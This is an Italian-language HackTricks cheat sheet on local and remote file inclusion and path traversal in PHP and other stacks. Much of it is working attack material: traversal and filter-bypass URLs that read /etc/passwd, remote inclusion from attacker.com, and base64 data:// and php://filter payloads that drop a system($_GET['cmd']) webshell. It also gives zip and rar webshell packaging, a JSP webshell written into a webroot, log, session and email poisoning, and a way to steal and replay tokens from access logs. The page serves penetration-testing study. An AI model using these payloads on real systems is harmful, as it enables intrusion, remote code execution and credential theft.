File Inclusion/Path traversal
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
File Inclusion
Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Vantaggio: puoi scrivere il codice e il server lo eseguirà ). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.
La vulnerabilitĂ si verifica quando lâutente può in qualche modo controllare il file che verrĂ caricato dal server.
Funzioni PHP vulnerabili: require, require_once, include, include_once
Uno strumento interessante per sfruttare questa vulnerabilitĂ : https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mescolando diverse liste LFI *nix e aggiungendo altri percorsi ho creato questa:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata here
Windows
Unione di diverse wordlists:
Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata here
OS X
Controlla la lista LFI di linux.
Fondamenti LFI e bypass
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences rimosse non ricorsivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass dellâaggiunta di altri caratteri alla fine della stringa fornita (bypass of: $_GET[âparamâ].âphpâ)
http://example.com/index.php?page=../../../etc/passwd%00
Questo è risolto a partire da PHP 5.4
Codifica
Potresti usare codifiche non standard come double URL encode (e altre):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
I moderni HTML-to-PDF engines (es. TCPDF o wrapper come html2pdf) analizzano volentieri attacker-provided HTML, SVG, CSS e font URLs, tuttavia vengono eseguiti allâinterno di trusted backend networks con accesso al filesystem. Una volta che puoi inject HTML in $pdf->writeHTML()/Html2Pdf::writeHTML(), spesso puoi exfiltrate file locali che lâaccount del web server può leggere.
- Fingerprint the renderer: ogni PDF generato contiene un campo
Producer(es.TCPDF 6.8.2). Conoscere la build esatta ti indica quali filtri di percorso sono presenti e se la URL decoding avviene prima della validazione. - Inline SVG payloads:
TCPDF::startSVGElementHandler()legge lâattributoxlink:hrefdagli elementi<image>prima di eseguireurldecode(). Incorporare un SVG malevolo dentro una data URI fa sĂŹ che molti HTML sanitizers ignorino il payload mentre TCPDF lo parsifica comunque:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF antepone $_SERVER['DOCUMENT_ROOT'] ai percorsi che cominciano con / e risolve .. solo successivamente, quindi usa segmenti iniziali ../../.. o /../../.. per uscire dalla root dopo lâanteposizione.
- Encoding per bypassare filtri ingenui: Versions â¤6.8.2 controllano solo la sottostringa letterale
../prima di decodificare lâURL. Inviare..%2f(o..%2F) nellâSVG o in un attributo<img src>grezzo aggira il controllo, perchĂŠ la sequenza di traversal dot-dot-slash viene ricreata solo dopo che TCPDF chiamaurldecode(). - Double-encoding per decoding a piĂš stadi: Se lâinput utente viene decodificato dal web framework e da TCPDF, doppia-encoda la slash (
%252f). Una decodifica la trasforma in%2f, la seconda decodifica in TCPDF la trasforma in/, producendo/..%252f..â/../../../âŚsenza mai mostrare../al filtro iniziale. - HTML
<img>handler:TCPDF::openHTMLTagHandler()contiene lo stesso bug nellâordine delle operazioni, permettendo payload HTML diretti comesrc="%2f..%252f..%252ftmp%252fsecret.png"per leggere qualsiasi bitmap localmente raggiungibile.
Questa tecnica leaks qualsiasi cosa leggibile dal PDF worker (scansioni del passaporto, API keys rese come immagini, ecc.). Hardeners lâhanno corretto in 6.9.1 canonicalizzando i percorsi (isRelativePath()), quindi durante i test privilegia versioni piĂš vecchie di Producer.
Dalla cartella esistente
Forse il back-end sta controllando il percorso della cartella:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Esplorare le directory del file system di un server
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo implica determinare la profonditĂ delle directory e sondare lâesistenza di cartelle specifiche. Di seguito un metodo dettagliato per raggiungere questo obiettivo:
- Determinare la profonditĂ della directory: Accertare la profonditĂ della directory corrente recuperando con successo il file
/etc/passwd(applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sonda le cartelle: Aggiungi il nome della cartella sospetta (es.,
private) allâURL, poi torna a/etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la depth di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpreta i risultati: La risposta del server indica se la cartella esiste:
- Errore / Nessun output: La cartella
privateprobabilmente non esiste nella posizione specificata. - Contenuto di
/etc/passwd: La presenza della cartellaprivateè confermata.
- Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI).
Per esplorare directory in posizioni diverse nel file system, adatta di conseguenza il payload. Ad esempio, per verificare se /var/www/ contiene una directory private (assumendo che la directory corrente sia ad una profonditĂ di 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso utilizzato per accedere a file riservati bypassando determinate misure di sicurezza che aggiungono caratteri alla fine dei percorsi. Lâobiettivo è creare un percorso che, una volta alterato dalla misura di sicurezza, punti ancora al file desiderato.
In PHP, varie rappresentazioni di un percorso possono essere considerate equivalenti a causa della natura del file system. Per esempio:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/sono tutti trattati come lo stesso percorso.- Quando gli ultimi 6 caratteri sono
passwd, aggiungere una/(rendendolopasswd/) non cambia il file target. - Allo stesso modo, se
.phpè appeso a un percorso (comeshellcode.php), aggiungere un/.alla fine non altera il file a cui si accede.
Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
In questi scenari, il numero di traversals necessari potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
- Uso di segmenti con punto e caratteri aggiuntivi: Le traversal sequences (
../) combinate con segmenti aggiuntivi con punto e altri caratteri possono essere usate per navigare il file system, ignorando di fatto stringhe aggiunte dal server. - Determinare il numero necessario di traversal: Attraverso tentativi si può trovare il numero preciso di
../sequenze necessari per raggiungere la root directory e poi/etc/passwd, assicurandosi che eventuali stringhe aggiunte (come.php) siano neutralizzate ma il percorso desiderato (/etc/passwd) rimanga intatto. - Iniziare con una directory fittizia: Ă pratica comune cominciare il percorso con una directory inesistente (come
a/). Questa tecnica è usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.
Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento del parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e spesso sono necessari test per trovare il metodo piÚ efficace.
Questa vulnerabilità è stata corretta in PHP 5.3.
Trucchi per bypassare i filtri
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
In php questa funzionalità è disabilitata di default perchÊ allow_url_include è Off. Deve essere On per funzionare, e in tal caso potresti includere un file PHP dal tuo server e ottenere RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se per qualche motivo allow_url_include è On, ma PHP sta filtering lâaccesso a pagine web esterne, secondo questo post, puoi usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Nel codice precedente, il
+.txtfinale è stato aggiunto perchĂŠ lâattaccante aveva bisogno di una stringa che terminasse con.txt, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirĂ solo dati inutili e il vero codice PHP verrĂ incluso (e quindi eseguito).
Un altro esempio non usando il php:// protocol sarebbe:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python elemento radice
In python, in un codice come questo:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se lâutente fornisce un percorso assoluto in file_name, il percorso precedente viene semplicemente rimosso:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Questo è il comportamento previsto secondo the docs:
Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e lâunione continua a partire dal componente di percorso assoluto.
Elenco delle directory in Java
Sembra che se hai una Path Traversal in Java e richiedi una directory invece di un file, viene restituito un elenco della directory. Questo non accade in altri linguaggi (afaik).
I 25 parametri principali
Ecco la lista dei 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers e protocolli PHP
php://filter
I PHP filters permettono di eseguire operazioni di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Rimuove i tag dai dati (tutto ciò che è tra i caratteri â<â e â>â)- Nota che questo filtro è scomparso nelle versioni moderne di PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Trasforma in una codifica diversa (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console:iconv -l
Warning
Abusando del filtro di conversione
convert.iconv.*puoi generare testo arbitrario, il che può essere utile per scrivere testo arbitrario o far sÏ che una funzione come include processi testo arbitrario. Per maggiori info consulta LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Comprimi il contenuto (utile se si esfiltrano molte informazioni)zlib.inflate: Decomprime i dati- Encryption Filters
mcrypt.*: Deprecatomdecrypt.*: Deprecato- Other Filters
- Eseguendo in php
var_dump(stream_get_filters());puoi trovare un paio di filtri inaspettati: consumeddechunk: inverte lâHTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La parte âphp://filterâ non fa distinzione tra maiuscole e minuscole
Utilizzo dei php filters come oracle per leggere file arbitrari
In this post viene proposta una tecnica per leggere un file locale senza ricevere lâoutput restituito dal server. Questa tecnica si basa su una boolean exfiltration of the file (char by char) using php filters come oracle. Questo perchĂŠ i php filters possono essere usati per rendere un testo sufficientemente grande da far php sollevare unâeccezione.
Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma qui câè un riassunto rapido:
- Use the codec
UCS-4LEto leave leading character of the text at the begging and make the size of string increases exponentially. - Questo verrĂ usato per generare un text so big when the initial letter is guessed correctly che farĂ scattare un errore in php
- Il filtro dechunk rimuoverà tutto se il primo char non è esadecimale, quindi possiamo sapere se il primo char è esadecimale.
- Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterĂ di indovinare una lettera allâinizio del testo osservando quando applichiamo sufficienti trasformazioni da farla non essere piĂš un carattere esadecimale. PerchĂŠ se è esadecimale, dechunk non la cancellerĂ e la bomba iniziale farĂ scattare lâerrore in php.
- Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una
a, per esempio, perchĂŠ se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è piĂš un carattere esadecimale; quindi dechunk non la cancella e lâerrore di php viene innescato perchĂŠ si moltiplica con la bomba iniziale. - Usando altre trasformazioni come rot13 allâinizio è possibile leak altri chars come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nellâintervallo esadecimale).
- Quando il char iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
- Il problema finale è capire how to leak more than the initial letter. Usando filtri che riordinano la memoria come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare lâordine dei chars e portare in prima posizione altre lettere del testo.
- E per poter ottenere further data lâidea è generare 2 bytes di junk data allâinizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farla pivot with the next 2 bytes, e delete the data until the junk data (questo rimuoverĂ i primi 2 bytes del testo iniziale). Continuare cosĂŹ fino a raggiungere il bit desiderato da leakare.
Nel post è stato anche pubblicato uno strumento per eseguire automaticamente questo: php_filters_chain_oracle_exploit.
php://fd
Questo wrapper permette di accedere ai file descriptor che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto dei file aperti:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Puoi anche usare php://stdin, php://stdout and php://stderr per accedere rispettivamente ai file descriptors 0, 1 and 2 (non sono sicuro di come questo possa essere utile in un attacco)
zip:// and rar://
Carica un file Zip o Rar con una PHPShell allâinterno e accedervi.
Per poter abusare del protocollo rar deve essere specificamente attivato.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Nota che questo protocollo è limitato dalle configurazioni di PHP allow_url_open e allow_url_include
expect://
Expect deve essere attivato. Puoi eseguire codice usando questo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Specifica il tuo payload nei parametri POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un file .phar può essere utilizzato per eseguire codice PHP quando unâapplicazione web utilizza funzioni come include per il caricamento di file. Lo snippet di codice PHP mostrato sotto dimostra la creazione di un file .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Per compilare il file .phar, va eseguito il seguente comando:
php --define phar.readonly=0 create_path.php
Alla sua esecuzione verrĂ creato un file chiamato test.phar, che potrebbe potenzialmente essere sfruttato per compromettere Local File Inclusion (LFI).
Nel caso in cui lâLFI legga solo il contenuto del file senza eseguire il codice PHP al suo interno â tramite funzioni come file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() o filesize() â si può tentare lo sfruttamento di una deserialization vulnerability. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Ă stato possibile abusare any arbitrary file read from PHP that supports php filters per ottenere una RCE. The detailed description can be found in this post.
Riassunto molto rapido: un 3 byte overflow nellâheap di PHP è stato abusato per alter the chain of free chunks di una specifica dimensione al fine di poter write anything in any address, quindi è stato aggiunto un hook per chiamare system.\ Ă stato possibile alloc chunk di dimensioni specifiche abusando di piĂš php filters.
Altri protocolli
Controlla altri possibili protocols to include here:
- php://memory and php://temp â Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
- file:// â Accesso al filesystem locale
- http:// â Accesso a URL HTTP(s)
- ftp:// â Accesso a URL FTP(s)
- zlib:// â Compression Streams
- glob:// â Trova pathname che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
- ssh2:// â Secure Shell 2
- ogg:// â Audio streams (Non utile per leggere file arbitrari)
LFI via PHPâs âassertâ
I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si usa la funzione âassertâ, che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se lâinput contenente directory traversal characters come â..â viene controllato ma non correttamente sanificato.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Sebbene ciò miri a impedire il traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attacker potrebbe usare:
' and die(highlight_file('/etc/passwd')) or '
Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
' and die(system("id")) or '
Ă importante URL-encode these payloads.
PHP Blind Path Traversal
Warning
Questa tecnica è rilevante nei casi in cui tu control il file path di una PHP function che access a file ma non vedrai il contenuto del file (come una semplice chiamata a
file()) perchĂŠ il contenuto non viene mostrato.
In this incredible post è spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.
In sintesi, la tecnica utilizza la codifica âUCS-4LEâ per rendere il contenuto di un file cosĂŹ grande che la PHP function che apre il file innescherĂ un errore.
Poi, per leak il primo char viene usato il filter dechunk insieme ad altri come base64 o rot13 e infine i filtri convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per place other chars at the beggining and leak them.
Funzioni che potrebbero essere vulnerabili: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Per i dettagli tecnici consulta il post menzionato!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quando il codice lato server che riceve/carica file costruisce il percorso di destinazione usando dati controllati dallâutente (es., un filename o URL) senza canonicalizzare e validare, i segmenti .. e i path assoluti possono sfuggire alla directory prevista e causare la scrittura arbitraria di un file. Se riesci a posizionare il payload in una directory esposta via web, di solito ottieni una RCE non autenticata posizionando un webshell.
Tipico flusso di exploitation:
- Identifica un write primitive in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
- Individua le directory esposte via web. Esempi comuni:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/â dropshell.jsp - IIS:
C:\inetpub\wwwroot\â dropshell.aspx - Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot e includi il contenuto del tuo webshell.
- Accedi al payload caricato via web ed esegui comandi.
Note:
- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) poi servirà il tuo payload.
- Sui stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni
File/Paths. La mancanza di canonicalisation/allow-listing è il difetto principale.
Esempio generico in stile XML/JMF (gli schemi dei prodotti variano â il wrapper DOCTYPE/body è irrilevante per il traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening che sconfigge questa classe di bug:
- Risolvi in un percorso canonico e verifica che sia discendente di una directory di base allow-listed.
- Rifiuta qualsiasi percorso contenente
.., root assoluti, o drive letters; preferisci nomi di file generati. - Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle root servite.
Remote File Inclusion
Spiegato in precedenza, follow this link.
Via Apache/Nginx log file
Se il server Apache o Nginx è vulnerabile a LFI nella funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, inserire nellâuser agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file
Warning
Nota che se usi le virgolette doppie per la shell invece delle virgolette singole, le virgolette doppie saranno modificate nella stringa âquote;â, PHP genererĂ un errore e niente altro verrĂ eseguito.
Inoltre, assicurati di scrivere correttamente il payload o PHP darĂ errore ogni volta che tenterĂ di caricare il file di log e non avrai una seconda opportunitĂ .
Questo può essere fatto anche in altri log ma fai attenzione, il codice dentro i log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. Lâheader authorisation âbasicâ contiene âuser:passwordâ in Base64 ed è decodificato nei log. La PHPShell potrebbe essere inserita dentro questo header.
Altri possibili percorsi di log:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leggere i log di accesso per raccogliere auth token basati su GET (token replay)
Molte app accettano per errore session/auth token tramite GET (es., AuthenticationToken, token, sid). Se hai una primitive di path traversal/LFI nei log del server web, puoi rubare questi token dai log di accesso e riprodurli per bypassare completamente lâautenticazione.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifica il body se è Base64, poi replay un token catturato:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Note:
- Tokens in URLs sono loggati di default; non accettare mai bearer tokens via GET in sistemi di produzione.
- Se lâapp supporta piĂš nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
- Ruota qualsiasi token che potrebbe essere leaked nei log.
Tramite Email
Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includere la mail dellâutente con un path come /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>
Tramite /proc//fd/
- Carica molte shells (per esempio: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anchâesso)
Tramite /proc/self/environ
Come un file di log, invia il payload nello User-Agent; sarĂ riflesso allâinterno del file /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se puoi uploadare un file, iniettaci semplicemente la shell payload (es.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf
Via Zip fie upload
Caricare uno ZIP contenente una PHP shell compressa e accedere:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Tramite PHP sessions
Verifica se il sito web usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP queste sessioni sono memorizzate nei file /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Imposta il cookie su <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa LFI per includere il PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se ssh è attivo, verifica quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa
Via vsftpd logs
I log del server FTP vsftpd si trovano in /var/log/vsftpd.log. Nel caso in cui esista una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passi:
- Inietta un payload PHP nel campo username durante la procedura di login.
- Dopo lâiniezione, usa la LFI per recuperare i log del server da /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this article, il filtro PHP base64 ignora i caratteri non base64. Puoi usare questo per bypassare il controllo dellâestensione del file: se fornisci un base64 che termina con â.phpâ, ignorerĂ il â.â e aggiungerĂ âphpâ al base64. Ecco un esempio di payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Tramite php filters (senza file)
Questo writeup spiega che puoi usare i php filters per generare contenuto arbitrario come output. Questo significa fondamentalmente che puoi generare php code arbitrario per lâinclude senza doverlo scrivere in un file.
Tramite segmentation fault
Upload un file che verrĂ memorizzato come temporary in /tmp, poi nella stessa request scatena un segmentation fault, e il file temporaneo non verrĂ cancellato e potrai cercarlo.
LFI2RCE via Segmentation Fault
Tramite Nginx temp file storage
Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti riuscire a ottenere RCE con la seguente tecnica:
Tramite PHP_SESSION_UPLOAD_PROGRESS
Se hai trovato una Local File Inclusion anche se non hai una sessione e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS nei dati multipart POST, PHP abiliterà la sessione per te. Potresti abusarne per ottenere RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Tramite temp file uploads in Windows
Se hai trovato una Local File Inclusion e il server gira su Windows potresti ottenere RCE:
Tramite pearcmd.php + URL args
